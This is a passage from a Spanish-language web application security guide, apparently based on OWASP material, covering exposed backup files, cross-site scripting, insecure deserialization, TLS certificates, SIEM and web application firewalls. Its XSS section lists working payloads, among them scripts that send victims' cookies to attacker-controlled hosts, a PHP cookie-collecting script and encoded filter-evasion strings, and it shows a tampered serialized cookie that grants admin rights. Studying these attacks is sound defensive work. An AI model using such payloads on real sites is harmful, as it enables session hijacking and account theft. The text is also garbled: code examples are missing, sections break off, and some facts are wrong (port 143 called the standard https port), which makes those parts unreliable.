saberlo, información relacionada con la aplicación que puede ayudar a un atacante
(nombres de ruta, estructuras de datos, etc.). Sin mencionar el hecho de que hay
demasiadas secuencias de comandos con nombre de usuario y contraseña incrustados
en texto claro (que es una práctica descuidada y muy peligrosa).
Amenazas
Las páginas sin referencia pueden contener una poderosa funcionalidad que puede
usarse para atacar la aplicación; por ejemplo, una página de administración que no
está vinculada desde el contenido publicado, pero puede acceder a ella cualquier
usuario que sepa dónde encontrarla.
Los archivos de respaldo pueden revelar el código fuente de las páginas diseñadas
para ejecutarse en el servidor; por ejemplo, la solicitud de viewdoc.bak puede
devolver el código fuente de viewdoc.jsp, que se puede revisar en busca de
vulnerabilidades que pueden ser difíciles de encontrar haciendo solicitudes ciegas a
la página ejecutable. Si bien esta amenaza obviamente se aplica a los lenguajes con
script, como Perl, PHP, ASP, scripts de shell, JSP, etc., no está limitado a ellos,
como se muestra en el ejemplo proporcionado en el siguiente punto.
Los archivos de copia de seguridad pueden contener copias de todos los archivos
dentro (o incluso fuera) de la raíz Web. Esto permite que un atacante enumere
rápidamente toda la aplicación, incluidas las páginas sin referencia, el código fuente,
los archivos incluidos, etc. Por ejemplo, si olvida un archivo denominado
myservlets.jar.old que contiene (una copia de seguridad de) sus clases de
implementación de servlet, usted está exponiendo una gran cantidad de información
sensible que es susceptible de descompilación e ingeniería inversa.
Las instantáneas del sistema de archivos pueden contener copias del código que
contienen vulnerabilidades que se han solucionado en versiones más recientes. Por
ejemplo, /.snapshot/monthly.1/view.php puede contener una vulnerabilidad de
recorrido de directorio que se ha corregido en /view.php, pero aún puede ser
explotada por cualquiera que encuentre la versión anterior.
2.7.4. Remediaciones
Apache:
Método 1
Método 2
El siguiente método consiste en crear un archivo .htaccess para ello abrimos un símbolo
de sistema, nos movemos al directorio raíz de nuestro sitio (en este caso prueba) y
escribimos la siguiente línea:
Con esto evitaremos que cualquier directorio que se encuentra debajo del directorio
principal liste los archivos, apareciendo lo siguiente:
En IIS la cosa es sencilla (al estilo Microsoft), primero probaremos si nuestro IIS tiene
habilitada la característica de listado de directorio.
En este caso podemos comprobar que si, por lo que iremos al panel de configuración
de Internet Information Services (IIS) , para ello abrimos un explorador y colocamos la
siguiente ruta: “Panel de control\Sistema y seguridad\Herramientas administrativas” ,
una vez hecho esto, damos doble clic sobre “Administrador de Internet Information
Services (IIS)” una vez en el Administrador nos ubicamos en el sitio en el que queremos
evitar el listado de directorios, en este ejemplo es el Default Web Site.
http://www.psicobyte.com/html/taller/errores.html
Generación de la contraseña
El API OWASP Enterprise Security para Java tiene algunos métodos que simplifican la
tarea de generar contraseñas de calidad, así como la determinación de la contraseña.
Backups
Para garantizar una estrategia de protección efectiva, las pruebas deben estar
compuestas por una política de seguridad que claramente prohíbe las prácticas
peligrosas, tales como:
<Location ~ ".snapshot">
Order deny,allow
Deny from all
</Location>
XSS es un vector de ataque que puede ser utilizado para robar información delicada,
secuestrar sesiones de usuario, y comprometer el navegador, subyugando la integridad
del sistema. Las vulnerabilidades XSS han existido desde los primeros días de la Web.
Sucede cuando un usuario mal intencionado envía código malicioso a la aplicación Web
y se coloca en forma de un hipervínculo para conducir al usuario a otro sitio Web,
mensajería instantánea o un correo electrónico. Así mismo, puede provocar una
negación de servicio (DDos).
Este tipo de XSS comúnmente filtrado, y consiste en insertar código HTML peligroso en
sitios que lo permitan; incluyendo así etiquetas como <script> o <iframe>.
Ejemplos:
Este tipo de XSS consiste en modificar valores que la aplicación Web utiliza para pasar
variables entre dos páginas, sin usar sesiones y sucede cuando hay un mensaje o una
ruta en la URL del navegador, en una cookie, o cualquier otra cabecera HTTP (en
algunos navegadores y aplicaciones Web, esto podría extenderse al DOM del
navegador).
En este ejemplo, ¿Qué pasaría si se pone como URL del frame un código JavaScript?
Si este enlace lo pone un atacante hacia una víctima, un visitante podrá verlo y verá que
es del mismo dominio, suponiendo que no puede ser nada malo y de resultado tendrá
un bucle infinito de mensajes.
Un atacante en realidad trataría de colocar un script que robe las cookies de la víctima,
para después poder personificarse como con su sesión, o hacer automático el proceso
con el uso de la biblioteca cURL o alguna similar. De esta forma, al recibir la cookie, el
atacante podría ejecutar acciones con los permisos de la víctima sin siquiera necesitar
su contraseña.
Otro uso común para estas vulnerabilidades es lograr hacer phishing. Quiere ello decir
que la víctima ve en la barra de direcciones un sitio, pero realmente está en otra. La
víctima introduce su contraseña y se la envía al atacante.
Por ejemplo, un tag como <script> que ejecute código JavaScript, cree otra sesión bajo
otro usuario y mande la sesión actual al atacante.
AJAX
Usar AJAX para ataques de XSS no es tan conocido, pero sí peligroso. Se basa en usar
cualquier tipo de vulnerabilidad de XSS para introducir un objeto XMLHttp y usarlo para
enviar contenido POST, GET, sin conocimiento del usuario. Este se ha popularizado con
gusanos de XSS que se encargan de replicarse por medio de vulnerabilidades de XSS
persistentes (aunque la posibilidad de usar XSS reflejados es posible).
El siguiente script de ejemplo obtiene el valor de las cookies y seguidamente las enviaría
al atacante.
JavaScript:
XSS Stored
Se trata de una variación del ataque XSS reflejado, sin embargo, es el más peligroso,
(y obviamente el más deseado por un atacante) dado que el contexto de este ataque no
se limita solamente al contexto del navegador Web de un usuario, sino que por el
contrario puede afectar directamente a todos los usuarios que acceden a la aplicación,
por esta razón es una de las vulnerabilidades más peligrosas. Funciona de un modo
similar al anterior, con la diferencia que, en este caso, la vulnerabilidad se encuentra
almacenada de forma persistente en la aplicación, ejemplos típicos de este tipo de
ataques son foros o sitios donde se pueden incluir comentarios, así como otros tipos de
entradas que permite al usuario ingresar texto y estás a su vez, permiten la inclusión de
código HTML o JavaScript.
DOM XSS
Este tipo de ataque se basa en los dos anteriores, la diferencia radica en que se
aprovecha la API DOM que tienen los navegadores Web para acceder a determinados
objetos del navegador, como, por ejemplo, funciones en JavaScript. De esta forma es
posible manipular eventos, navegación y otras características que se ejecutan en el lado
del cliente. Así que en este punto es importante anotar que el atacante debe tener
buenos conocimientos sobre JavaScript y DOM API.
Flash XSS
CSRF
XFS
Se trata de una variante de un ataque XSS clásico, consiste en la inyección del código
malicioso utilizado por el atacante, pero inyectando frames para cargar código externo
y evidentemente, sin la autorización de la víctima. El “truco” se encuentra en la forma en
la que se manipulan las variables que viajan en la petición
Se trata de inyectar código en una aplicación Web por medio de la modificación de las
cabeceras HTTP, en este caso, simplemente modificando el parámetro “User-Agent” del
navegador Web del atacante, y estableciendo como valor el código a inyectar, de esta
forma si por ejemplo la aplicación Web trata de determinar el User-Agent del navegador,
realmente lo que terminará por ejecutar será el código definido en dicho campo, por
ejemplo: En lugar de tener el valor “Mozilla” se tiene el valor
“<script>alert(document.cookie);</script> ” de esta forma cuando una aplicación intente
acceder a dicho campo, realmente se ejecutará este sencillo script.
Funciona del mismo modo que XAS, sin embargo, en lugar de modificar la cabecera
correspondiente al User Agent del navegador, se cambia el valor de la cabecera Referer
y de esta forma, se puede inyectar el código malicioso en dicha propiedad.
En una próxima entrada, se indicará como explotar estas vulnerabilidades tan frecuentes
en aplicaciones Web.
PDF XSS
Estos son algunos de los ejemplos de Scripts que pueden ser empleados para llevar a
cabo un ataque XSS exitoso, este tipo de scripts son válidos para cualquiera de las
técnicas de XSS explicadas en párrafos anteriores, en realidad, cualquier ataque XSS
siempre intentará en primera instancia de aprovechar alguna vulnerabilidad por medio
de simples pruebas como las siguientes en campos habilitados para entradas de
usuario, sin embargo, estos son solamente una pequeña “colección”, el limite se
encuentra en la imaginación y las habilidades del atacante, del mismo modo hay que
ser creativos a la hora de inyectar cualquier script, estos pueden ser inyectados en
campos de entrada como ya se ha dicho, sin embargo algunos pueden ser directamente
ingresados en la ruta del navegador.
Tip: Se puede usar el servicio http://tinyurl.com/ para convertir cadenas de URL muy
largas a fragmentos cortos. Por otro lado también ayuda conocer las equivalencias de
caracteres ASCII consultar: http://www.ascii.cl/es/.
<script>document.location=”http://IP_ATACANTE/takecookie.php?cookie=” +
document.cookie;history.back(); </script>
Con este sencillo script se direcciona la petición hacia el servidor controlado por el
atacante donde se capturan las cookies del usuario y posteriormente vuelve a la
petición original (todo ocurre sin que el usuario se entere, que evidentemente es lo
mejor de todo). Frecuentemente esto será un simple link que se envía a un usuario
por correo electrónico u otro medio, para que, de esta forma, lo llegue a activar.
<?php
$fichero=fopen(“cookies.txt”,”a”);fputs($fichero,”\n”.$_GET[“cookie”].”\n”);fclose($ficher
o); ?>
Con esto se escriben las cookies en un fichero que el atacante puede utilizar.
Se han indicado solamente unos cuantos scripts, sin embargo, las habilidades del
atacante y sus conocimientos en desarrollo de aplicaciones Web, juegan en este
punto un papel importante, dado que entre más experiencia y conceptos teóricos y
prácticos domine, mejores serán los scripts que desarrolle y las posibilidades de
explotar vulnerabilidades XSS.
Encontrar un sitio vulnerable a XSS es mucho más fácil que encontrar un sitio vulnerable
a SQLI. El problema es que puede tomar tiempo para determinar si el sitio es muy
vulnerable. Con SQLI, basta con añadir un poco de instrucciones. Sin embargo, en XSS,
deberá presentar (a veces) varias consultas, para poner a prueba un sitio para XSS.
Los sitios más vulnerables contendrán una búsqueda, inicio de sesión, o un área de
Registro. Prácticamente en cualquier lugar que contenga un cuadro de texto, puede ser
explotado con XSS. No obstante, mucha gente se olvida este hecho, y nunca lo usan en
todo su potencial porque creo que es inservible. Usted no puede tomar cualquier
secuencia de comandos, y editar la cosa completa. Sin embargo, la edición de una
"onmouseover", es sin duda una excepción.
De todas formas, nuestro sitio debe tener algunos cuadros de texto a la entrada de algo
de HTML.
Por lo tanto, vamos a intentar poner la consulta básica de todos los tiempos:
<script>alert("XSS")</script>
Ese pequeño script, es HTML. Se hará un pequeño mensaje emergente, diciendo "XSS".
Puede editar esa parte si lo desea. Eso sí, no modificar ninguna otra parte. Ponga esto
en su barra de búsqueda y pulsa Enter. ¡Ahora, si un cuadro de alerta aparece entonces
hemos atacado con éxito un sitio vulnerable a XSS!, si no aparece ningún cuadro es
porque eso significa que el sitio contiene algún filtro.
String.fromCharCode(88,83,83)
Puede ser un poco confuso, pero muy sencillo. Esto es lo que nuestra consulta completa
se verá así:
<script>alert(String.fromCharCode(88,83,83))</script>
><script>alert(document.cookie); </script>
Alert Cookie, script plano cerrando etiqueta HTML con caracteres ASCII:
%3 E%3Cscript%3Ealert(document.cookie); %3C%2Fscript%3
<script>alert(document.cookie)<script>¶m=value
<script>for(;;) alert(“bucle”);</script>
<meta%20http-equiv=”refresh”%20content=”0;”>
javascript:img=new Image();img.src="http://attacker/wtf.php?
cookie="+document.cookie;
<img src=foo.png
onerror=%61%6c%65%72%74%28%2f%53%43%47%30%39%2f%29/>
<script>String.fromCharCode(60,115,99,114,105,112,116,62,97,108,101,114,116,40,1
00,111,99,117,109,101,110,116,46,99,111,111,107,105,101,41,59,60,47,115,99,114,1
05,112,116,62) </script>
Código origina:
><script>alert(document.cookie);</script>Codificación:
%93%3e%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%64%6f%63%
75%6d
%65%6e%74%2e%63%6f%6f%6b%69%65%29%3b%3c%2f%73%63%72%69%70%7
4%3e
<a href=”data:text/html;charset=utf-
8,%3cscript%3ealert(1);history.back();%3c/script%3e “>ClickMe!</a>
”;!–“<XSS>=&{()}
<img src=javascript:alert(String.fromCharCode(88,83,83))>
<BODY onload=alert(“XSS”)>
<STYLE>@import ‘IP_ATACANTE/xss.css’;</STYLE>
<META HTTP-EQUIV=”Link” Content=”<IP_ATACANTE/xss.css>; REL=stylesheet”
‘><script src=”http://server-attacker.com/xss.js”
/>’><script>document.write(String.fromCharCode(60, 115, 99, 114, 105, 112, 116, 32,
115, 114, 99, 61, 34, 104, 116, 116, 112, 58, 47, 47, 115, 101, 114, 118, 101, 114, 45,
97, 116, 116, 97, 99, 107, 101, 114, 46, 99, 111, 109, 47, 120, 115, 115, 46, 106, 115,
34, 32, 47, 62));</script>
https://xsser.03c8.net/xsser/XSS_for_fun_and_profit_SCG09_(spanish).pdf
2.8.4. Remediaciones
Tan fácil como un atacante puede atacar un sitio Web no protegido contra ataques
Cross-Site Scripting, un desarrollador puede defenderse de éstos. La prevención ha de
tenerse siempre en cuenta incluso antes de escribir el propio código.
La regla o política más básica que ha de tenerse siempre en cuenta es simple: NUNCA
confíes de datos que vienen de usuarios o de cualquier otra fuente externa. Cualquier
dato debe ser validado o escapado para su output.
Las medidas a tomar se pueden dividir en tres: data validation, data sanitization y output
escaping.
Data validation
Data sanitization
La sanitización de datos se centra en manipular los datos para asegurarse que son
seguros, eliminando cualquier parte indeseable y normalizándolos en la forma
correcta. Por ejemplo, si se espera un texto string de los usuarios, puedes querer
evitar cualquier tipo de markup HTML:
Output escaping
Para proteger la integridad de los datos que se devuelven, el output data, se debe
escapar cualquier dato que se devuelve al usuario. Esto evita que el navegador
malinterprete alguna secuencia especial de caracteres:
Mezclando un poco las tres formas de prevenir ataques XSS, vamos a ver un sencillo
sistema de comentarios:
Hay que tener en cuenta que ninguna solución es fiable al 100%, y que es conveniente
estar al tanto de novedades respecto a los ataques Cross-Site Scripting ya que van
evolucionando a medida que lo hacen las plataformas que los facilitan (navegadores,
HTML).
Por supuesto, esto significa que cualquier persona con la capacidad de enviar un objeto
serializado a dicho sistema ahora puede ejecutar código arbitrario fácilmente, con todos
los privilegios del programa ejecutándolo.
Algunos ejemplos:
CVE-2012-4406: OpenStack Swift (un almacén de objetos) usó Python pickle() para
almacenar metadatos en memcached (que es un simple almacén de claves / valores y
no admite autenticación), por lo que un atacante con acceso a memcached podría
causar la ejecución de código arbitrario en todos los servidores que usan Swift.
Por desgracia, hay muchos ejemplos más que abarcan prácticamente todos los
principales proveedores de sistemas operativos y plataformas. Tenga en cuenta que
prácticamente todos los idiomas modernos incluyen serialización que no es seguro usar
de manera predeterminada (Perl Storage, Ruby Marshal, etc.).
Escenario 2: un foro de PHP utiliza la serialización de objetos de PHP para guardar una
"super" cookie, que contiene el ID de usuario, el rol, el hash de contraseña y otro estado
del usuario:
a:4:{i:0;i:132;i:1;s:7:"Mallory";i:2;s:4:"user";i:3;s:32:"b6a8b3bea87fe0e05022f8f3c88bc9
60";}
a:4:{i:0;i:1;i:1;s:5:"Alice";i:2;s:5:"admin";i:3;s:32:"b6a8b3bea87fe0e05022f8f3c88bc960"
;}
Ejemplo:
Una actualización elimina esta vulnerabilidad. Una solución posible ha sido publicada
inmediatamente después de la publicación de la vulnerabilidad.
Serialización en JAVA
Suena bien, siempre que podamos responder por la fuente de los objetos serializados.
No hay dudas sobre la utilidad del mecanismo de serialización, sin embargo, también
es un vector de ataque muy efectivo. Al comprender la forma en que funciona este
mecanismo, intentaremos utilizar nuestro conocimiento para ejecutar el siguiente
código, que puede generalizarse a cualquier ejecución de código:
Runtime.getRuntime().exec(“command”);
Aquí hay tres enfoques que un atacante puede tomar para explotar el mecanismo de
serialización:
El enfoque más fácil sería escribir algún código malicioso, envolverlo en un objeto
Java, serializar el objeto y enviarlo a través del canal JMX. Debido a la limitación
inherente de la serialización, la clase del objeto serializado debe existir en la ruta de
clase de la aplicación para que el mecanismo de deserialización tenga éxito,
terminaremos con una excepción de deserialización.
Un enfoque más sutil sería buscar una clase que exista en la ruta de clase y que se
pueda ejecutar como parte del proceso de deserialización. Por ejemplo, un código
que se ejecuta automáticamente cuando se invoca el constructor de la clase.
2.9.4. Remediaciones
Código heredado
Asegúrese de que si los datos están bloqueados (por ejemplo, código de bloqueo
que debe ejecutarse, pero no lo está, dejando el programa en un estado incoherente)
puede volver a un estado bueno conocido.
Aislar y ejecutar código que se deserializa en entornos de bajo privilegio cuando sea
posible.
Log deserialization exceptions and failures, donde el tipo entrante no es del tipo
esperado, o la deserialización arroja excepciones.
Mejores prácticas de TI
Use un firewall para eliminar el acceso a los puertos a los que no se debe acceder
desde fuera del centro de datos (p. Ej., Puertos JMX)
Por ende, podemos decir que tiene los siguientes dos objetivos:
Validar la identidad de un equipo, usuario, sitio Web, etc., para realmente comprobar
si son quien dicen ser.
Firmados por una PKI basada en Windows o sistema PKI implementado en una
organización.
El certificado contiene una clave pública y una privada las cuales son utilizadas para
cifrar la información antes de transmitirla.
Los certificados digitales son documentos digitales mediante el cual un tercero confiable
(autoridad de certificación) garantiza la vinculación entre la identidad de un sujeto o
entidad y su clave pública. Un certificado digital puede ser emitido en distintos formatos
y dirigidos a distintos diferentes perfiles de usuario. De esta forma, tenemos certificados
emitidos en soporte rígido y en formato software.
Soporte Rígido: El formato más común son las tarjetas inteligentes (smartCards), como
los nuevos DNIe
Todo Certificado Digital permite ser validado. De esta forma, se puede determinar el
estado del mismo. Un certificado puede presentar los siguientes estados:" Válido",
"Revocado", "Suspendido" y "No reconocido".
Un Certificado Digital consta de una pareja de claves criptográficas, una pública y una
privada, creadas con un algoritmo matemático, de forma que aquello que se cifra con
una de las claves sólo se puede descifrar con su clave pareja.
El titular del certificado debe mantener bajo su poder la clave privada, ya que, si ésta es
sustraída, el sustractor podría suplantar la identidad del titular en la red. En este caso el
titular debe revocar el certificado lo antes posible, igual que se anula una tarjeta de
crédito sustraída.
La clave pública forma parte de lo que se denomina Certificado Digital en sí, que es un
documento digital que contiene la clave pública junto con los datos del titular, todo ello
firmado electrónicamente por una Autoridad de Certificación, que es una tercera entidad
de confianza que asegura que la clave pública se corresponde con los datos del titular.
El formato de los Certificados Digitales está definido por el estándar internacional ITU-T
X.509. De esta forma, los certificados pueden ser leídos o escritos por cualquier
aplicación que cumpla con el mencionado estándar.
Esto lo lleva a cabo asegurándose de que todos los datos que se transfieren entre
usuarios y sitios Web o entre dos sistemas sean imposibles de leer. Utiliza algoritmos
de cifrado para codificar los datos que se transmiten e impedir que los hackers los
lean al enviarlos a través de la conexión. Esta información podría ser cualquier dato
confidencial o personal, por ejemplo, números de tarjeta de crédito y otros datos
bancarios, nombres y direcciones.
Para detectar el posible soporte de cifrados débiles, deben identificarse los puertos
asociados a los servicios encapsulados sobre SSL/TLS. Estos puertos incluyen
normalmente el puerto 143, el puerto https estándar; no obstante, esto puede cambiar
porque a) los servicios https puede ser configurados para ejecutarse en puertos no
estándar, y b) puede haber más servicios encapsulados sobre SSL/TLS relacionados
con la aplicación Web. En general, se precisa de un descubrimiento de servicios para
identificar dichos puertos.
El scanner nmap, vía la opción “-Sv”, puede identificar servicios SSL. Los scanner de
vulnerabilidades, además de realizar el descubrimiento de servicios, pueden incluir
comprobación de cifrados débiles (por ejemplo, el scanner Nessus tiene la capacidad
de comprobar servicios SSL en puertos arbitrarios, y reportará si existen cifrados
débiles).
Ejemplo 1:
Ejemplo 2:
https (443/tcp)
Description
Here is the SSLv2 server certificate:
Certificate:
Data:
Version: 3 (0x2)
Serial Number: 1 (0x1)
Signature Algorithm: md5WithRSAEncryption
Issuer: C=**, ST=******, L=******, O=******, OU=******, CN=******
Validity
Not Before: Oct 17 07:12:16 2002 GMT
Not After : Oct 16 07:12:16 2004 GMT
Subject: C=**, ST=******, L=******, O=******, CN=******
Subject Public Key Info:
Public Key Algorithm: rsaEncryption
RSA Public Key: (1024 bit)
Modulus (1024 bit):
00:98:4f:24:16:cb:0f:74:e8:9c:55:ce:62:14:4e:
6b:84:c5:81:43:59:c1:2e:ac:ba:af:92:51:f3:0b:
ad:e1:4b:22:ba:5a:9a:1e:0f:0b:fb:3d:5d:e6:fc:
ef:b8:8c:dc:78:28:97:8b:f0:1f:17:9f:69:3f:0e:
72:51:24:1b:9c:3d:85:52:1d:df:da:5a:b8:2e:d2:
09:00:76:24:43:bc:08:67:6b:dd:6b:e9:d2:f5:67:
e1:90:2a:b4:3b:b4:3c:b3:71:4e:88:08:74:b9:a8:
2d:c4:8c:65:93:08:e6:2f:fd:e0:fa:dc:6d:d7:a2:
3d:0a:75:26:cf:dc:47:74:29
Exponent: 65537 (0x10001)
X509v3 extensions:
X509v3 Basic Constraints:
CA:FALSE
Netscape Comment:
Ejemplo 3:
Server certificate
-----BEGIN CERTIFICATE-----
MIIDYzCCAsygAwIBAgIQYFbAC3yUC8RFj9MS7lfBkzANBgkqhkiG9w0BAQQFADCB
zjELMAkGA1UEBhMCWkExFTATBgNVBAgTDFdlc3Rlcm4gQ2FwZTESMBAGA1UEBxMJ
Q2FwZSBUb3duMR0wGwYDVQQKExRUaGF3dGUgQ29uc3VsdGluZyBjYzEoMCYGA1UE
CxMfQ2VydGlmaWNhdGlvbiBTZXJ2aWNlcyBEaXZpc2lvbjEhMB8GA1UEAxMYVGhh
d3RlIFByZW1pdW0gU2VydmVyIENBMSgwJgYJKoZIhvcNAQkBFhlwcmVtaXVtLXNl
cnZlckB0aGF3dGUuY29tMB4XDTA2MDQyMTAxMDc0NVoXDTA3MDQyMTAxMDc0NVow
aDELMAkGA1UEBhMCVVMxEzARBgNVBAgTCkNhbGlmb3JuaWExFjAUBgNVBAcTDU1v
dW50YWluIFZpZXcxEzARBgNVBAoTCkdvb2dsZSBJbmMxFzAVBgNVBAMTDnd3dy5n
b29nbGUuY29tMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC/e2Vs8U33fRDk
5NNpNgkB1zKw4rqTozmfwty7eTEI8PVH1Bf6nthocQ9d9SgJAI2WOBP4grPj7MqO
dXMTFWGDfiTnwes16G7NZlyh6peT68r7ifrwSsVLisJp6pUf31M5Z3D88b+Yy4PE
D7BJaTxq6NNmP1vYUJeXsGSGrV6FUQIDAQABo4GmMIGjMB0GA1UdJQQWMBQGCCsG
AQUFBwMBBggrBgEFBQcDAjBABgNVHR8EOTA3MDWgM6Axhi9odHRwOi8vY3JsLnRo
YXd0ZS5jb20vVGhhd3RlUHJlbWl1bVNlcnZlckNBLmNybDAyBggrBgEFBQcBAQQm
MCQwIgYIKwYBBQUHMAGGFmh0dHA6Ly9vY3NwLnRoYXd0ZS5jb20wDAYDVR0TAQH/
BAIwADANBgkqhkiG9w0BAQQFAAOBgQADlTbBdVY6LD1nHWkhTadmzuWq2rWE0KO3
Ay+7EleYWPOo+EST315QLpU6pQgblgobGoI5x/fUg2U8WiYj1I1cbavhX2h1hda3
FJWnB3SiXaiuDTsGxQ267EwCVWD5bCrSWa64ilSJTgiUmzAv0a2W8YHXdG08+nYc
X/dVk5WRTw==
-----END CERTIFICATE-----
subject=/C=US/ST=California/L=Mountain View/O=Google Inc/CN=www.google.com
issuer=/C=ZA/ST=Western Cape/L=Cape Town/O=Thawte Consulting cc/OU=Certification Services
Division/CN=Thawte Premium Server CA/[email protected]
---
No client certificate CA names sent
---
Ciphers common between both SSL endpoints:
RC4-MD5 EXP-RC4-MD5 RC2-CBC-MD5
EXP-RC2-CBC-MD5 DES-CBC-MD5 DES-CBC3-MD5
RC4-64-MD5
---
SSL handshake has read 1023 bytes and written 333 bytes
---
New, SSLv2, Cipher is DES-CBC3-MD5
Server public key is 1024 bit
Compression: NONE
Expansion: NONE
SSL-Session:
Protocol : SSLv2
Cipher : DES-CBC3-MD5
Session-ID: 709F48E4D567C70A2E49886E4C697CDE
Session-ID-ctx:
Master-Key: 649E68F8CF936E69642286AC40A80F433602E3C36FD288C3
Key-Arg : E8CB6FEB9ECF3033
Start Time: 1156977226
Timeout : 300 (sec)
Verify return code: 21 (unable to verify the first certificate)
---
closed
Ejemplo: Esta ruta en el registro define los cifrados disponibles al servidor en Windows:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\Ciphers\
En este punto cobran especial importancia los administradores, los planes de despliegue
de aplicaciones, los procesos de instalación y configuración, la planificación y ejecución
de actualizaciones, la arquitectura escogida, y una revisión periódica de auditorías y
comprobaciones del sistema.
Lo primero a tener en cuenta, será la arquitectura que vayamos a utilizar. Está claro que
hay muchas arquitecturas, pero siempre, a la hora de elegir y diseñar la nuestra
deberemos de intentarla hacer lo más robusta posible, estableciendo una buena
separación entre los distintos componentes y su seguridad.
Otra cosa a tener en cuenta sería, los permisos tanto de la aplicación como del servidor
de aplicaciones donde esta se despliega. Estos deberían ser lo menos holgados
posibles. Deberemos controlar, permisos de accedo, de lectura y escritura en sistemas
de fichero, de acceso y modificación a la BBDD y, por supuesto, permisos de utilización
de la aplicación y sus partes. Quizás en este apartado también debamos incluir los
puertos de acceso al servidor y los servicios que este tiene levantados y esperando
solicitudes. En este caso, solo debería estar disponible aquello que sea imprescindible.
Otra de las cosas que tendremos que tendremos que planificar, será la metodología que
vamos a emplear para el tratamiento de actualizaciones, ya sea para nuestra propia
aplicación, como para los sistemas y plataformas donde está desplegada.
Otro punto a tener en cuenta siempre, es el tratamiento de errores que hará nuestra
aplicación. Deberemos manejar todos los errores que puedan salir y no volcar nunca
información de los sistemas en estos errores y permitir que dicha información llegue a
los usuarios, ya que podría utilizar esta información para preparar un ataque. Es decir,
por supuesto que hay que informar a los usuarios cuando se produce un error, pero esta
información habrá sido tratada y procesada por nosotros previamente, y al usuario final
se le mostrará correcta y convenientemente formateada.
Impacto típico
2.10.4. Remediaciones
Certificados digitales
El certificado digital debería incluir tanto el nombre del servidor Web representado
("www", o la lista de servidores Web, o el comodín) como de su dominio.
Asociar el certificado digital a una CA que haga uso de Certificate Transparency (CT)
y confirmar que el certificado ha sido registrado en los logs públicos de CT.
Protocolo HTTPS
https://www.rediris.es/tcs/doc/ccncert/CCN-CERT_BP-01-
17_Recomendaciones_implementacion_HTTPS.pdf
Como prevenir:
Correlacionador de Eventos
Una herramienta SIEM que facilita el uso de registros para seguridad, cumplimiento,
detección y solución de problemas.
¿Qué es un SIEM?
Security Information and Event Management (SIEM) – Las soluciones SIEM son una
combinación de las categorías de productos formalmente dispares SIM (Security
Information Management) and SEM (Security Event Manager). La tecnología SIEM
proporciona un análisis en tiempo real de las alertas de seguridad generadas por el
hardware y software de red. Las soluciones SIEM pueden venir como software,
appliance, o administración de servicios, y también son utilizados para loguear datos de
seguridad y generar reportes para fines de complimiento.
Las siglas SEM, SIM y SIEM se han utilizado indistintamente, aunque hay diferencias
en el significado y las capacidades del producto. El segmento de gestión de la seguridad
que se ocupa del monitoreo en tiempo real, correlación de eventos, notificaciones y
vistas de la consola que comúnmente se conoce como Gestión de Eventos de Seguridad
(SEM). La segunda área ofrece almacenamiento a largo plazo, el análisis y la
comunicación de los datos de registro, y se conoce como Gestión de Seguridad de la
Información (SIM).
Capacidades de un SIEM:
Dashboards: SIEM / LM herramientas para tomar los datos del evento y convertirlo
en tablas informativas para ayudar a ver patrones o identificar una actividad que no
está siguiendo un patrón estándar.
http://www.gis-sac.com/Portal/index.php/productos/solarwinds/administracion-de-
redes/log-event-manager
https://www.solarwinds.com/es/log-event-manager-software
Aunque los proxies generalmente protegen a los clientes, los WAF protegen a los
servidores. Se implementa un WAF para proteger una aplicación Web específica o un
conjunto de aplicaciones Web. Un WAF puede considerarse un proxy inverso.
Proyectos OWASP
https://www.owasp.org/index.php/Category:OWASP_ModSecurity_Core_Rule_Set_Pro
ject
https://www.owasp.org/index.php/WASC_OWASP_Web_Application_Firewall_Evaluati
on_Criteria_Project
Analiza todo el acceso de los usuarios a sus aplicaciones Web críticas y protege sus
aplicaciones y datos de ataques cibernéticos. SecureSphere WAF aprende
dinámicamente el comportamiento “normal” de sus aplicaciones y correlaciona esto con
la multitud de inteligencia de amenazas procedente de todo el mundo y actualizada en
tiempo real para ofrecer una protección superior. El SecureSphere WAF líder de la
industria identifica y actúa sobre los peligros malignamente entretejidos en el tráfico de
sitios Web inocentes; Tráfico que se desliza a través de las defensas tradicionales. Esto
incluye el bloqueo de ataques técnicos como inyección de SQL, secuencias de
comandos entre sitios e inclusión de archivos remotos que explotan vulnerabilidades en
aplicaciones Web; Ataques de lógica comercial como el raspado de sitios y el spam de
comentarios; Botnets y ataques DDoS; Y prevenir intentos de toma de cuenta en tiempo
real, antes de que se puedan realizar transacciones fraudulentas.
Características principales
Parches virtuales
SecureSphere WAF puede realizar “parches virtuales” para sus aplicaciones Web a
través de la integración escáner de vulnerabilidades. En lugar de dejar una aplicación
Web expuesto al ataque por semanas o meses mientras que el código se modifica
después de descubrir una vulnerabilidad, parches virtuales protege activamente las
aplicaciones Web de ataques para reducir la ventana de exposición, y disminuye los
costos de los ciclos fijos de emergencia hasta que son capaces de taparlos.
SecureSphere WAF tiene ricas capacidades de informes gráficos que permiten a los
clientes entender fácilmente el estado de seguridad y cumplir con las regulaciones.
SecureSphere WAF proporciona tanto, informes predefinidos y totalmente
personalizable. Esto le permite evaluar rápidamente su estado de seguridad y agilizar
demostración del cumplimiento de PCI, SOX, HIPAA y FISMA y otras normas de
cumplimiento.
SecureSphere de Imperva es uno de los WAFs más extendidos y utilizados del mercado,
proporciona protección para aplicaciones Web basada en diferentes capas de defensa
(firmas, correlación, ThreatRadar, etc.) y de forma transparente adaptable a casi
cualquier entorno con una sencilla y potente gestión centralizada. Con SecureSphere
se revisa el protocolo HTTP para detectar cualquier violación del mismo, dispone de
más de 6500 firmas que se actualizan semanalmente, también es capaz de detectar un
uso anómalo de la aplicación y evita filtraciones de información sensible en la página
Web, además, dispone del módulo denominado ThreatRadar para detener a un usuario
malintencionado antes de que se lance un ataque según parámetros de reputación de
la dirección IP de ese usuario y/o del posible origen desde el que pretende lanzar el
ataque.
La gestión del equipo se realiza mediante una interface Web que es accesible previo
proceso de autenticación. También permite acceso por SSH y línea de comandos ya
que se trata de una distribución Linux como se puede observar en la siguiente captura
de pantalla:
Linux IMPERVA 2.6.18-164.15.1.el5.imp1 #1 SMP Tue Apr 27 20:46:55 IDT 2010 x86_64 GNU/Linux
En el acceso por SSH dispone de dos CLI (Common Line Interface) uno como usuario
